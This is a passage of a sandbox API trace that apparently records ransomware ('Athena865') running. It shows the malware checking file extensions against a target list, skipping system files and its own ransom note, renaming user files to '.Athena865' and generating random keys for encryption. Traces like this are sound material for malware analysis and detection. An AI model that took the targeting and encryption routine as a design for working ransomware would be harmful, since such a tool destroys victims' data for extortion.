(lpString="dsk") returned 3 [0052.839] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.839] lstrlenW (lpString="dsn") returned 3 [0052.839] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.839] lstrlenW (lpString="dtsx") returned 4 [0052.839] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.839] lstrlenW (lpString="dxl") returned 3 [0052.839] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.839] lstrlenW (lpString="eco") returned 3 [0052.839] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.839] lstrlenW (lpString="ecx") returned 3 [0052.839] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.839] lstrlenW (lpString="edb") returned 3 [0052.839] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.839] lstrlenW (lpString="epim") returned 4 [0052.839] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.839] lstrlenW (lpString="fcd") returned 3 [0052.839] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.839] lstrlenW (lpString="fdb") returned 3 [0052.839] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.839] lstrlenW (lpString="fic") returned 3 [0052.839] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.839] lstrlenW (lpString="flexolibrary") returned 12 [0052.839] lstrcmpiW (lpString1="9R-zhvtD.lnk", lpString2="flexolibrary") returned -1 [0052.839] lstrlenW (lpString="fm5") returned 3 [0052.839] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.839] lstrlenW (lpString="fmp") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.840] lstrlenW (lpString="fmp12") returned 5 [0052.840] lstrcmpiW (lpString1="D.lnk", lpString2="fmp12") returned -1 [0052.840] lstrlenW (lpString="fmpsl") returned 5 [0052.840] lstrcmpiW (lpString1="D.lnk", lpString2="fmpsl") returned -1 [0052.840] lstrlenW (lpString="fol") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.840] lstrlenW (lpString="fp3") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.840] lstrlenW (lpString="fp4") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.840] lstrlenW (lpString="fp5") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.840] lstrlenW (lpString="fp7") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.840] lstrlenW (lpString="fpt") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.840] lstrlenW (lpString="frm") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.840] lstrlenW (lpString="gdb") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.840] lstrlenW (lpString="gdb") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.840] lstrlenW (lpString="grdb") returned 4 [0052.840] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.840] lstrlenW (lpString="gwi") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.840] lstrlenW (lpString="hdb") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.840] lstrlenW (lpString="his") returned 3 [0052.840] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.840] lstrlenW (lpString="ib") returned 2 [0052.840] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.841] lstrlenW (lpString="idb") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.841] lstrlenW (lpString="ihx") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.841] lstrlenW (lpString="itdb") returned 4 [0052.841] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.841] lstrlenW (lpString="itw") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.841] lstrlenW (lpString="jet") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.841] lstrlenW (lpString="jtx") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.841] lstrlenW (lpString="kdb") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0052.841] lstrlenW (lpString="kexi") returned 4 [0052.841] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.841] lstrlenW (lpString="kexic") returned 5 [0052.841] lstrcmpiW (lpString1="D.lnk", lpString2="kexic") returned -1 [0052.841] lstrlenW (lpString="kexis") returned 5 [0052.841] lstrcmpiW (lpString1="D.lnk", lpString2="kexis") returned -1 [0052.841] lstrlenW (lpString="lgc") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.841] lstrlenW (lpString="lwx") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.841] lstrlenW (lpString="maf") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.841] lstrlenW (lpString="maq") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.841] lstrlenW (lpString="mar") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.841] lstrlenW (lpString="marshal") returned 7 [0052.841] lstrcmpiW (lpString1="vtD.lnk", lpString2="marshal") returned 1 [0052.841] lstrlenW (lpString="mas") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.841] lstrlenW (lpString="mav") returned 3 [0052.841] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.842] lstrlenW (lpString="maw") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.842] lstrlenW (lpString="mdbhtml") returned 7 [0052.842] lstrcmpiW (lpString1="vtD.lnk", lpString2="mdbhtml") returned 1 [0052.842] lstrlenW (lpString="mdn") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.842] lstrlenW (lpString="mdt") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.842] lstrlenW (lpString="mfd") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.842] lstrlenW (lpString="mpd") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.842] lstrlenW (lpString="mrg") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.842] lstrlenW (lpString="mud") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.842] lstrlenW (lpString="mwb") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.842] lstrlenW (lpString="myd") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.842] lstrlenW (lpString="ndf") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.842] lstrlenW (lpString="nnt") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.842] lstrlenW (lpString="nrmlib") returned 6 [0052.842] lstrcmpiW (lpString1="tD.lnk", lpString2="nrmlib") returned 1 [0052.842] lstrlenW (lpString="ns2") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.842] lstrlenW (lpString="ns3") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.842] lstrlenW (lpString="ns4") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.842] lstrlenW (lpString="nsf") returned 3 [0052.842] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.842] lstrlenW (lpString="nv") returned 2 [0052.843] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.843] lstrlenW (lpString="nv2") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.843] lstrlenW (lpString="nwdb") returned 4 [0052.843] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.843] lstrlenW (lpString="nyf") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.843] lstrlenW (lpString="odb") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.843] lstrlenW (lpString="odb") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.843] lstrlenW (lpString="oqy") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.843] lstrlenW (lpString="ora") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.843] lstrlenW (lpString="orx") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.843] lstrlenW (lpString="owc") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.843] lstrlenW (lpString="p96") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.843] lstrlenW (lpString="p97") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.843] lstrlenW (lpString="pan") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.843] lstrlenW (lpString="pdb") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.843] lstrlenW (lpString="pdm") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.843] lstrlenW (lpString="pnz") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.843] lstrlenW (lpString="qry") returned 3 [0052.843] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.843] lstrlenW (lpString="qvd") returned 3 [0052.844] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.844] lstrlenW (lpString="rbf") returned 3 [0052.844] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.844] lstrlenW (lpString="rctd") returned 4 [0052.844] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.844] lstrlenW (lpString="rod") returned 3 [0052.844] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.844] lstrlenW (lpString="rodx") returned 4 [0052.844] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.844] lstrlenW (lpString="rpd") returned 3 [0052.844] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.844] lstrlenW (lpString="rsd") returned 3 [0052.844] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.844] lstrlenW (lpString="sas7bdat") returned 8 [0052.844] lstrcmpiW (lpString1="hvtD.lnk", lpString2="sas7bdat") returned -1 [0052.844] lstrlenW (lpString="sbf") returned 3 [0052.844] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.844] lstrlenW (lpString="scx") returned 3 [0052.844] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.844] lstrlenW (lpString="sdb") returned 3 [0052.844] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.844] lstrlenW (lpString="sdc") returned 3 [0052.844] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.844] lstrlenW (lpString="sdf") returned 3 [0052.844] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.844] lstrlenW (lpString="sis") returned 3 [0052.844] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.844] lstrlenW (lpString="spq") returned 3 [0052.844] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.844] lstrlenW (lpString="te") returned 2 [0052.844] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.844] lstrlenW (lpString="teacher") returned 7 [0052.844] lstrcmpiW (lpString1="vtD.lnk", lpString2="teacher") returned 1 [0052.844] lstrlenW (lpString="tmd") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.845] lstrlenW (lpString="tps") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.845] lstrlenW (lpString="trc") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.845] lstrlenW (lpString="trc") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.845] lstrlenW (lpString="trm") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.845] lstrlenW (lpString="udb") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.845] lstrlenW (lpString="udl") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.845] lstrlenW (lpString="usr") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.845] lstrlenW (lpString="v12") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.845] lstrlenW (lpString="vis") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.845] lstrlenW (lpString="vpd") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.845] lstrlenW (lpString="vvv") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.845] lstrlenW (lpString="wdb") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.845] lstrlenW (lpString="wmdb") returned 4 [0052.845] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.845] lstrlenW (lpString="wrk") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.845] lstrlenW (lpString="xdb") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.845] lstrlenW (lpString="xld") returned 3 [0052.845] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.845] lstrlenW (lpString="xmlff") returned 5 [0052.845] lstrcmpiW (lpString1="D.lnk", lpString2="xmlff") returned -1 [0052.845] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\R9R-zhvtD.lnk.Athena865") returned 77 [0052.846] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\R9R-zhvtD.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\r9r-zhvtd.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\R9R-zhvtD.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\r9r-zhvtd.lnk.athena865"), dwFlags=0x1) returned 1 [0052.847] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\R9R-zhvtD.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\r9r-zhvtd.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.847] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1005) returned 1 [0052.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.847] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.848] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.848] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.848] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f0, lpName=0x0) returned 0x154 [0052.848] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f0) returned 0x100000 [0052.849] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.849] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.849] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2=".") returned 1 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2="..") returned 1 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2="windows") returned -1 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2="bootmgr") returned 1 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2="temp") returned -1 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2="pagefile.sys") returned 1 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2="boot") returned 1 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2="ids.txt") returned 1 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2="ntuser.dat") returned 1 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2="perflogs") returned 1 [0052.851] lstrcmpiW (lpString1="rM wPt.lnk", lpString2="MSBuild") returned 1 [0052.851] lstrlenW (lpString="rM wPt.lnk") returned 10 [0052.851] lstrcpyW (in: lpString1=0x241e8b4, lpString2="rM wPt.lnk" | out: lpString1="rM wPt.lnk") returned="rM wPt.lnk" [0052.851] lstrlenW (lpString="rM wPt.lnk") returned 10 [0052.851] lstrlenW (lpString="Athena865") returned 9 [0052.851] lstrcmpiW (lpString1="M wPt.lnk", lpString2="Athena865") returned 1 [0052.852] lstrlenW (lpString=".dll") returned 4 [0052.852] lstrcmpiW (lpString1="rM wPt.lnk", lpString2=".dll") returned 1 [0052.852] lstrlenW (lpString=".lnk") returned 4 [0052.852] lstrcmpiW (lpString1="rM wPt.lnk", lpString2=".lnk") returned 1 [0052.852] lstrlenW (lpString=".ini") returned 4 [0052.852] lstrcmpiW (lpString1="rM wPt.lnk", lpString2=".ini") returned 1 [0052.852] lstrlenW (lpString=".sys") returned 4 [0052.852] lstrcmpiW (lpString1="rM wPt.lnk", lpString2=".sys") returned 1 [0052.852] lstrlenW (lpString="rM wPt.lnk") returned 10 [0052.852] lstrlenW (lpString="bak") returned 3 [0052.852] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.852] lstrlenW (lpString="ba_") returned 3 [0052.852] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.852] lstrlenW (lpString="dbb") returned 3 [0052.852] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.852] lstrlenW (lpString="vmdk") returned 4 [0052.852] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.852] lstrlenW (lpString="rar") returned 3 [0052.852] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.852] lstrlenW (lpString="zip") returned 3 [0052.852] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.852] lstrlenW (lpString="tgz") returned 3 [0052.852] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.852] lstrlenW (lpString="vbox") returned 4 [0052.852] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.852] lstrlenW (lpString="vdi") returned 3 [0052.852] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.852] lstrlenW (lpString="vhd") returned 3 [0052.852] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.852] lstrlenW (lpString="vhdx") returned 4 [0052.852] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.852] lstrlenW (lpString="avhd") returned 4 [0052.853] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.853] lstrlenW (lpString="db") returned 2 [0052.853] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.853] lstrlenW (lpString="db2") returned 3 [0052.853] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.853] lstrlenW (lpString="db3") returned 3 [0052.853] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.853] lstrlenW (lpString="dbf") returned 3 [0052.853] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.853] lstrlenW (lpString="mdf") returned 3 [0052.853] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.853] lstrlenW (lpString="mdb") returned 3 [0052.853] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.853] lstrlenW (lpString="sql") returned 3 [0052.853] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.853] lstrlenW (lpString="sqlite") returned 6 [0052.853] lstrcmpiW (lpString1="Pt.lnk", lpString2="sqlite") returned -1 [0052.853] lstrlenW (lpString="sqlite3") returned 7 [0052.853] lstrcmpiW (lpString1="wPt.lnk", lpString2="sqlite3") returned 1 [0052.853] lstrlenW (lpString="sqlitedb") returned 8 [0052.853] lstrcmpiW (lpString1=" wPt.lnk", lpString2="sqlitedb") returned -1 [0052.853] lstrlenW (lpString="xml") returned 3 [0052.853] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.853] lstrlenW (lpString="$er") returned 3 [0052.853] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.853] lstrlenW (lpString="4dd") returned 3 [0052.853] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.853] lstrlenW (lpString="4dl") returned 3 [0052.853] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.853] lstrlenW (lpString="^^^") returned 3 [0052.853] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.853] lstrlenW (lpString="abs") returned 3 [0052.853] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.853] lstrlenW (lpString="abx") returned 3 [0052.854] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.854] lstrlenW (lpString="accdb") returned 5 [0052.854] lstrcmpiW (lpString1="t.lnk", lpString2="accdb") returned 1 [0052.854] lstrlenW (lpString="accdc") returned 5 [0052.854] lstrcmpiW (lpString1="t.lnk", lpString2="accdc") returned 1 [0052.854] lstrlenW (lpString="accde") returned 5 [0052.854] lstrcmpiW (lpString1="t.lnk", lpString2="accde") returned 1 [0052.854] lstrlenW (lpString="accdr") returned 5 [0052.854] lstrcmpiW (lpString1="t.lnk", lpString2="accdr") returned 1 [0052.854] lstrlenW (lpString="accdt") returned 5 [0052.854] lstrcmpiW (lpString1="t.lnk", lpString2="accdt") returned 1 [0052.854] lstrlenW (lpString="accdw") returned 5 [0052.854] lstrcmpiW (lpString1="t.lnk", lpString2="accdw") returned 1 [0052.854] lstrlenW (lpString="accft") returned 5 [0052.854] lstrcmpiW (lpString1="t.lnk", lpString2="accft") returned 1 [0052.854] lstrlenW (lpString="adb") returned 3 [0052.854] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.854] lstrlenW (lpString="adb") returned 3 [0052.854] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.854] lstrlenW (lpString="ade") returned 3 [0052.854] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.854] lstrlenW (lpString="adf") returned 3 [0052.854] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.854] lstrlenW (lpString="adn") returned 3 [0052.854] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.854] lstrlenW (lpString="adp") returned 3 [0052.854] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.854] lstrlenW (lpString="alf") returned 3 [0052.854] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.854] lstrlenW (lpString="ask") returned 3 [0052.854] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.854] lstrlenW (lpString="btr") returned 3 [0052.854] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.855] lstrlenW (lpString="cat") returned 3 [0052.855] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.855] lstrlenW (lpString="cdb") returned 3 [0052.855] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.855] lstrlenW (lpString="ckp") returned 3 [0052.855] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.855] lstrlenW (lpString="cma") returned 3 [0052.855] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.855] lstrlenW (lpString="cpd") returned 3 [0052.855] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.855] lstrlenW (lpString="dacpac") returned 6 [0052.855] lstrcmpiW (lpString1="Pt.lnk", lpString2="dacpac") returned 1 [0052.855] lstrlenW (lpString="dad") returned 3 [0052.855] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.855] lstrlenW (lpString="dadiagrams") returned 10 [0052.855] lstrlenW (lpString="daschema") returned 8 [0052.855] lstrcmpiW (lpString1=" wPt.lnk", lpString2="daschema") returned -1 [0052.855] lstrlenW (lpString="db-journal") returned 10 [0052.855] lstrlenW (lpString="db-shm") returned 6 [0052.855] lstrcmpiW (lpString1="Pt.lnk", lpString2="db-shm") returned 1 [0052.855] lstrlenW (lpString="db-wal") returned 6 [0052.855] lstrcmpiW (lpString1="Pt.lnk", lpString2="db-wal") returned 1 [0052.855] lstrlenW (lpString="dbc") returned 3 [0052.855] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.855] lstrlenW (lpString="dbs") returned 3 [0052.855] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.855] lstrlenW (lpString="dbt") returned 3 [0052.855] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.855] lstrlenW (lpString="dbv") returned 3 [0052.855] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.855] lstrlenW (lpString="dbx") returned 3 [0052.856] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.856] lstrlenW (lpString="dcb") returned 3 [0052.856] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.856] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.856] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.856] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\rM wPt.lnk.Athena865") returned 74 [0052.856] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\rM wPt.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\rm wpt.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\rM wPt.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\rm wpt.lnk.athena865"), dwFlags=0x1) returned 1 [0052.861] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\rM wPt.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\rm wpt.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.861] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3606) returned 1 [0052.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.862] CryptAcquireContextW (in: 